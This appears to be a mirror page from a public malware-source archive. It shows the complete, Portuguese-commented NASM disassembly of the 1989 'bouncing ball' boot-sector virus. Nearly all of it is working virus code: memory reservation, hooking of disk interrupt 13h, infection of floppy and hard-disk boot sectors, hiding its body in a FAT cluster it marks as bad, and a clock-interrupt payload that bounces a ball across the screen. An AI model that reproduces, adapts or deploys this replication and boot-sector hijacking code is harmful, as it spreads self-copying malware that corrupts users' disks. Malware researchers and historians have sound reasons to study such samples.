mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 20:35:25 +00:00
455 lines
13 KiB
NASM
455 lines
13 KiB
NASM
; **************************************************
|
||
; *** VIRUS ITALIANO SALTITANTE - A LISTAGEM ***
|
||
; *** Desassemblagem obtida por Miguel Vitorino ***
|
||
; *** Para : S P O O L E R - Junho de 1989 ***
|
||
; **************************************************
|
||
|
||
.RADIX 16
|
||
|
||
jmpf macro x
|
||
db 0eah
|
||
dd x
|
||
endm
|
||
|
||
Virus SEGMENT
|
||
assume cs:virus;ds:virus
|
||
|
||
jmpf MACRO x
|
||
db 0eah
|
||
dd x
|
||
ENDM
|
||
|
||
org 0100h
|
||
|
||
begin: jmp short entry
|
||
|
||
db 1eh-2 dup (?) ; Informacao relativa a' disquete
|
||
|
||
entry: xor ax,ax
|
||
mov ss,ax
|
||
mov sp,7c00 ; Colocar o Stack antes do inicio do
|
||
mov ds,ax ; virus
|
||
mov ax,ds:[0413] ; Retirar 2 K como se nao existissem
|
||
sub ax,2 ; para que o DOS nao la' chegue !
|
||
mov ds:[0413],ax
|
||
mov cl,06 ; Converter o tamanho da RAM num
|
||
shl ax,cl ; numero de segmento que se situa nos
|
||
sub ax,07c0 ; 2 ultimos K
|
||
mov es,ax ; De seguida passar este programa
|
||
mov si,7c00 ; para esse sitio de memoria
|
||
mov di,si ; ( i.e. o programa transfere-se a si
|
||
mov cx,0100 ; proprio )
|
||
repz movsw
|
||
mov cs,ax ; Transferencia de controlo para ai!
|
||
push cs ; Agora sim , ja' estamos nos tais 2K
|
||
pop ds
|
||
call reset ; fazer duas vezes um "reset" ao
|
||
reset: xor ah,ah ; controlador de disco
|
||
int 13
|
||
and byte ptr ds:drive,80
|
||
mov bx,ds:sector ; Sector onde esta' o resto do virus
|
||
push cs
|
||
pop ax
|
||
sub ax,0020
|
||
mov es,ax
|
||
call ler_sector ; Ler o resto do virus da drive
|
||
mov bx,ds:sector
|
||
inc bx
|
||
mov ax,0ffc0 ; Carregar o sector de boot original
|
||
mov es,ax
|
||
call ler_sector
|
||
xor ax,ax
|
||
mov ds:estado,al
|
||
mov ds,ax
|
||
mov ax,ds:[004c] ; "Confiscar" o interrupt 13
|
||
mov bx,ds:[004e] ; ( operacoes sobre disquetes/discos )
|
||
mov word ptr ds:[004c],offset int_13
|
||
mov ds:[004e],cs
|
||
push cs
|
||
pop ds
|
||
mov word ptr ds:velho_13,ax ; Guardar a velha rotina do int. 13
|
||
mov word ptr ds:velho_13+2,bx
|
||
mov dl,ds:drive
|
||
jmpf 0:7c00 ; Efectuar o arranque do sistema
|
||
|
||
Esc_Sector proc near
|
||
mov ax,0301 ; Escrever um sector da drive
|
||
jmp short cs:transferir
|
||
Esc_Sector endp
|
||
|
||
Ler_Sector proc near
|
||
mov ax,0201 ; Ler um sector da drive
|
||
Ler_Sector endp
|
||
|
||
Transferir proc near ; Efectuar uma transferencia de dados
|
||
xchg ax,bx ; de ou para a drive
|
||
add ax,ds:[7c1c] ; Este procedimento tem como entrada
|
||
xor dx,dx ; o numero do sector pretendido ( BX )
|
||
div ds:[7c18] ; e de seguida sao feitas as contas
|
||
inc dl ; para saber qual a pista e o lado
|
||
mov ch,dl ; onde esse sector fica
|
||
xor dx,dx
|
||
div ds:[7c1a]
|
||
mov cl,06
|
||
shl ah,cl
|
||
or ah,ch
|
||
mov cx,ax
|
||
xchg ch,cl
|
||
mov dh,dl
|
||
mov ax,bx ; Depois de todas as contas feitas
|
||
transf: mov dl,ds:drive ; pode-se chamar o interrupt 13H
|
||
mov bx,8000 ; es:bx = end. de transferencia
|
||
int 13
|
||
jnb trans_exit
|
||
pop ax
|
||
trans_exit: ret
|
||
Transferir endp
|
||
|
||
Int_13 proc near ; Rotina de atendimento ao int. 13H
|
||
push ds ; (operacoes sobre discos e disquetes)
|
||
push es
|
||
push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push cs
|
||
pop ds
|
||
push cs
|
||
pop es
|
||
test byte ptr ds:estado,1 ; Testar se se esta' a ver se o virus
|
||
jnz call_BIOS ; esta' no disco
|
||
cmp ah,2
|
||
jnz call_BIOS
|
||
cmp ds:drive,dl ; Ver se a ultima drive que foi
|
||
mov ds:drive,dl ; mexida e' igual a' drive onde
|
||
jnz outra_drv ; se vai mexer
|
||
xor ah,ah ; Neste momento vai-se tirar a' sorte
|
||
int 1a ; para ver se o virus fica activo
|
||
test dh,7f ; Isto e' feito a partir da leitura
|
||
jnz nao_desp ; da hora e se for igual a um dado
|
||
test dl,0f0 ; numero , o virus e' despoletado
|
||
jnz nao_desp
|
||
push dx ; Instalar o movimento da bola
|
||
call despoletar
|
||
pop dx
|
||
nao_desp: mov cx,dx
|
||
sub dx,ds:semente
|
||
mov ds:semente,cx
|
||
sub dx,24
|
||
jb call_BIOS
|
||
outra_drv: or byte ptr ds:estado,1 ; Indicar que se esta' a testar a
|
||
push si ; presenca ou nao do virus na drive
|
||
push di
|
||
call contaminar
|
||
pop di
|
||
pop si
|
||
and byte ptr ds:estado,0fe ; Indicar fim de teste de virus
|
||
call_BIOS: pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
pop es
|
||
pop ds
|
||
Velho_13 equ $+1
|
||
jmpf 0:0
|
||
Int_13 endp
|
||
|
||
Contaminar proc near
|
||
mov ax,0201
|
||
mov dh,0
|
||
mov cx,1
|
||
call transf
|
||
test byte ptr ds:drive,80 ; Pediu-se um reset a' drive ?
|
||
jz testar_drv ; Sim , passar a' contaminacao directa
|
||
mov si,81be
|
||
mov cx,4
|
||
proximo: cmp byte ptr [si+4],1
|
||
jz ler_sect
|
||
cmp byte ptr [si+4],4
|
||
jz ler_sect
|
||
add si,10
|
||
loop proximo
|
||
ret
|
||
|
||
ler_sect: mov dx,[si] ; Cabeca+drive
|
||
mov cx,[si+2] ; Pista+sector inicial
|
||
mov ax,0201 ; Ler esse sector
|
||
call transf
|
||
testar_drv: mov si,8002 ; Comparar os 28 primeiros bytes para
|
||
mov di,7c02 ; ver se o sector de boot e' o mesmo
|
||
mov cx,1c ; i.e. ver se a drive ja' foi virada !
|
||
repz movsb
|
||
cmp word ptr ds:[offset flag+0400],1357
|
||
jnz esta_limpa
|
||
cmp byte ptr ds:flag_2,0
|
||
jnb tudo_bom
|
||
mov ax,word ptr ds:[offset prim_dados+0400]
|
||
mov ds:prim_dados,ax ; Se chegar aqui entao a disquete ja'
|
||
mov si,ds:[offset sector+0400] ; esta' contaminada !
|
||
jmp infectar
|
||
tudo_bom: ret
|
||
|
||
; Neste momento descobriu-se uma disquete nao contaminada ! Vai-se agora
|
||
; proceder a' respectiva contaminacao !
|
||
|
||
esta_limpa: cmp word ptr ds:[800bh],0200; Bytes por sector
|
||
jnz tudo_bom
|
||
cmp byte ptr ds:[800dh],2 ; Sectores por cluster
|
||
jb tudo_bom
|
||
mov cx,ds:[800e] ; Sectores reservados
|
||
mov al,byte ptr ds:[8010] ; Numero de FAT's
|
||
cbw
|
||
mul word ptr ds:[8016] ; Numero de sectores de FAT
|
||
add cx,ax
|
||
mov ax,' '
|
||
mul word ptr ds:[8011] ; Numero de entradas na root
|
||
add ax,01ff
|
||
mov bx,0200
|
||
div bx
|
||
add cx,ax
|
||
mov ds:prim_dados,cx
|
||
mov ax,ds:[7c13] ; Numero de sectores da drive
|
||
sub ax,ds:prim_dados
|
||
mov bl,byte ptr ds:[7c0dh] ; Numero de sectores por cluster
|
||
xor dx,dx
|
||
xor bh,bh
|
||
div bx
|
||
inc ax
|
||
mov di,ax
|
||
and byte ptr ds:estado,0fbh ; Se o numero de clusters dor superior
|
||
cmp ax,0ff0 ; a 0FF0 entao cada entrada na FAT sao
|
||
jbe sao_3 ; 4 nibbles senao sao 3
|
||
or byte ptr ds:estado,4 ; 4 = disco duro ?
|
||
sao_3: mov si,1 ; Escolher sector a infectar
|
||
mov bx,ds:[7c0e] ; Numero de sectores reservados
|
||
dec bx
|
||
mov ds:inf_sector,bx ; Sector a infectar
|
||
mov byte ptr ds:FAT_sector,0fe
|
||
jmp short continua
|
||
|
||
Inf_Sector dw 1 ; Sector a infectar
|
||
Prim_Dados dw 0c ; Numero do primeiro sector de dados
|
||
Estado db 0 ; Estado actual do virus (instalado/nao instalado,etc)
|
||
Drive db 1 ; Drive onde se pediu uma accao
|
||
Sector dw 0ec ; Sector auxiliar para procura do virus
|
||
Flag_2 db 0 ; Estes proximos valores servem para ver se o virus
|
||
Flag dw 1357 ; ja' esta' ou nao presente numa drive , bastando
|
||
dw 0aa55 ; comparar se estes valores batem certos para o saber
|
||
|
||
continua: inc word ptr ds:inf_sector
|
||
mov bx,ds:inf_sector
|
||
add byte ptr ds:[FAT_sector],2
|
||
call ler_sector
|
||
jmp short l7e4b
|
||
|
||
; Este pequeno pedaco de programa o que faz e' percorrer a FAT que ja' esta' na
|
||
; memo'ria e procurar ai um cluster livre para colocar nesse sitio o resto do
|
||
; virus
|
||
|
||
verificar: mov ax,3 ; Media descriptor + ff,ff
|
||
test byte ptr ds:estado,4 ; disco duro ?
|
||
jz l7e1d
|
||
inc ax ; Sim , FAT comeca 1 byte mais adiante
|
||
l7e1d: mul si ; Multiplicar pelo numero do cluster
|
||
shr ax,1
|
||
sub ah,ds:FAT_sector
|
||
mov bx,ax
|
||
cmp bx,01ff
|
||
jnb continua
|
||
mov dx,[bx+8000] ; Ler a entrada na FAT
|
||
test byte ptr ds:estado,4
|
||
jnz l7e45
|
||
mov cl,4
|
||
test si,1
|
||
jz l7e42
|
||
shr dx,cl
|
||
l7e42: and dh,0f
|
||
l7e45: test dx,0ffff ; Se a entrada na FAT for zero,entao
|
||
jz l7e51 ; descobriu-se um cluster para por o
|
||
l7e4b: inc si ; virus , senao passa-se ao proximo
|
||
cmp si,di ; cluster ate' achar um bom
|
||
jbe verificar
|
||
ret
|
||
|
||
; Ja' foi descoberto qual o cluster a infectar ( registo BX ) , agora vai-se
|
||
; proceder a' infeccao da disquete ou disco e tambem a' marcacao desse cluster
|
||
; como um "bad cluster" para o DOS nao aceder a ele
|
||
|
||
l7e51: mov dx,0fff7 ; Marcar um "bad cluster" (ff7)
|
||
test byte ptr ds:estado,4 ; Ver qual o tamanho das ents. na FAT
|
||
jnz l7e68 ; ( 3 ou 4 nibbles )
|
||
and dh,0f
|
||
mov cl,4
|
||
test si,1
|
||
jz l7e68
|
||
shl dx,cl
|
||
l7e68: or [bx+8000],dx
|
||
mov bx,word ptr ds:inf_sector ; Infectar sector !!!
|
||
call esc_sector
|
||
mov ax,si
|
||
sub ax,2
|
||
mov bl,ds:7c0dh ; Numero de sectores por cluster
|
||
xor bh,bh
|
||
mul bx
|
||
add ax,ds:prim_dados
|
||
mov si,ax ; SI = sector a infectar
|
||
mov bx,0 ; Ler o sector de boot original
|
||
call ler_sector
|
||
mov bx,si
|
||
inc bx
|
||
call esc_sector ; ... e guarda'-lo depois do virus
|
||
infectar: mov bx,si
|
||
mov word ptr ds:sector,si
|
||
push cs
|
||
pop ax
|
||
sub ax,20 ; Escrever o resto do virus
|
||
mov es,ax
|
||
call esc_sector
|
||
push cs
|
||
pop ax
|
||
sub ax,40
|
||
mov es,ax
|
||
mov bx,0 ; Escrever no sector de boot o virus
|
||
call esc_sector
|
||
ret
|
||
Contaminar endp
|
||
|
||
Semente dw ? ; Esta word serve para fins de
|
||
; temporizacao da bola a saltar
|
||
FAT_sector db 0 ; Diz qual e' o numero do sector que
|
||
; se esta' a percorrer quando se
|
||
; vasculha a FAT
|
||
|
||
Despoletar proc near ; Comecar a mostrar a bola no ecran
|
||
test byte ptr ds:estado,2 ; Virus ja' esta' activo ?
|
||
jnz desp_exit ; Sim ,sair
|
||
or byte ptr ds:estado,2 ; Nao , marcar activacao
|
||
mov ax,0
|
||
mov ds,ax
|
||
mov ax,ds:20 ; Posicionar interrupt 8 (relogio)
|
||
mov bx,ds:22
|
||
mov word ptr ds:20,offset int_8
|
||
mov ds:22,cs
|
||
push cs
|
||
pop ds ; E guardar a rotina anterior
|
||
mov word ptr ds:velho_8+8,ax
|
||
mov word ptr ds:velho_8+2,bx
|
||
desp_exit: ret
|
||
Despoletar endp
|
||
|
||
Int_8 proc near ; Rotina de atendimento ao interrupt
|
||
push ds ; provocado pelo relogio 18.2 vezes
|
||
push ax ; por segundo . Neste procedimento
|
||
push bx ; e' que se faz o movimento da bola
|
||
push cx ; pelo ecran
|
||
push dx
|
||
push cs
|
||
pop ds
|
||
mov ah,0f ; Ver qual o tipo de modo de video
|
||
int 10
|
||
mov bl,al
|
||
cmp bx,ds:modo_pag ; Comparar modo e pagina de video com
|
||
jz ler_cur ; os anteriores
|
||
mov ds:modo_pag,bx ; Quando aqui chega mudou-se o modo
|
||
dec ah ; de video
|
||
mov ds:colunas,ah ; Guardar o numero de colunas
|
||
mov ah,1
|
||
cmp bl,7 ; Comparar modo com 7 (80x25 Mono)
|
||
jnz e_CGA
|
||
dec ah
|
||
e_CGA: cmp bl,4 ; Ve se e' modo grafico
|
||
jnb e_grafico
|
||
dec ah
|
||
e_grafico: mov ds:muda_attr,ah
|
||
mov word ptr ds:coordenadas,0101
|
||
mov word ptr ds:direccao,0101
|
||
mov ah,3 ; Ler a posicao do cursor
|
||
int 10
|
||
push dx ; ... e guarda-la
|
||
mov dx,ds:coordenadas
|
||
jmp short limites
|
||
|
||
ler_cur: mov ah,3 ; Ler a posicao do cursor ...
|
||
int 10
|
||
push dx ; ... e guarda-la
|
||
mov ah,2 ; Posicionar o cursor no sitio da bola
|
||
mov dx,ds:coordenadas
|
||
int 10
|
||
mov ax,ds:carat_attr
|
||
cmp byte ptr ds:muda_attr,1
|
||
jnz mudar_atr
|
||
mov ax,8307 ; Atributos e carater 7
|
||
mudar_atr: mov bl,ah ; Carregar carater 7 (bola)
|
||
mov cx,1
|
||
mov ah,9 ; Escrever a bola no ecran
|
||
int 10
|
||
limites: mov cx,ds:direccao ; Agora vai-se ver se a bola esta' no
|
||
cmp dh,0 ; ecran . Linha = 0 ?
|
||
jnz linha_1
|
||
xor ch,0ff ; Mudar direccao
|
||
inc ch
|
||
linha_1: cmp dh,18 ; Linha = 24 ?
|
||
jnz coluna_1
|
||
xor ch,0ff ; Mudar direccao
|
||
inc ch
|
||
coluna_1: cmp dl,0 ; Coluna = 0 ?
|
||
jnz coluna_2
|
||
xor cl,0ff ; Mudar direccao
|
||
inc cl
|
||
coluna_2: cmp dl,ds:colunas ; Colunas = numero de colunas ?
|
||
jnz esta_fixe
|
||
xor cl,0ff ; Mudar direccao
|
||
inc cl
|
||
esta_fixe: cmp cx,ds:direccao ; Mesma direccao ?
|
||
jnz act_bola
|
||
mov ax,ds:carat_attr
|
||
and al,7
|
||
cmp al,3
|
||
jnz nao_e
|
||
xor ch,0ff
|
||
inc ch
|
||
nao_e: cmp al,5
|
||
jnz act_bola
|
||
xor cl,0ff
|
||
inc cl
|
||
act_bola: add dl,cl ; Actualizar as coordenadas da bola
|
||
add dh,ch
|
||
mov ds:direccao,cx
|
||
mov ds:coordenadas,dx
|
||
mov ah,2
|
||
int 10
|
||
mov ah,8 ; Ler carater para onde vai a bola
|
||
int 10
|
||
mov ds:carat_attr,ax
|
||
mov bl,ah
|
||
cmp byte ptr ds:muda_attr,1
|
||
jnz nao_muda
|
||
mov bl,83 ; Novo atributo
|
||
nao_muda: mov cx,1
|
||
mov ax,0907 ; Escrever a bola no ecran
|
||
int 10
|
||
pop dx
|
||
mov ah,2 ; Recolocar o cursor no posicao onde
|
||
int 10 ; estava antes de escrever a bola
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
pop ds
|
||
velho_8 equ $+1
|
||
jmpf 0:0
|
||
Int_8 endp
|
||
|
||
Carat_attr dw ? ; 7fcd
|
||
Coordenadas dw 0101 ; 7fcf
|
||
Direccao dw 0101 ; 7fd1
|
||
Muda_attr db 1 ; 7fd3
|
||
Modo_pag dw ? ; 7fd4
|
||
Colunas db ? ; 7fd6
|
||
|
||
; Os bytes que se seguem destinam-se a reservar espaco para o stack
|
||
|
||
Virus ENDS
|
||
|
||
END begin
|
||
|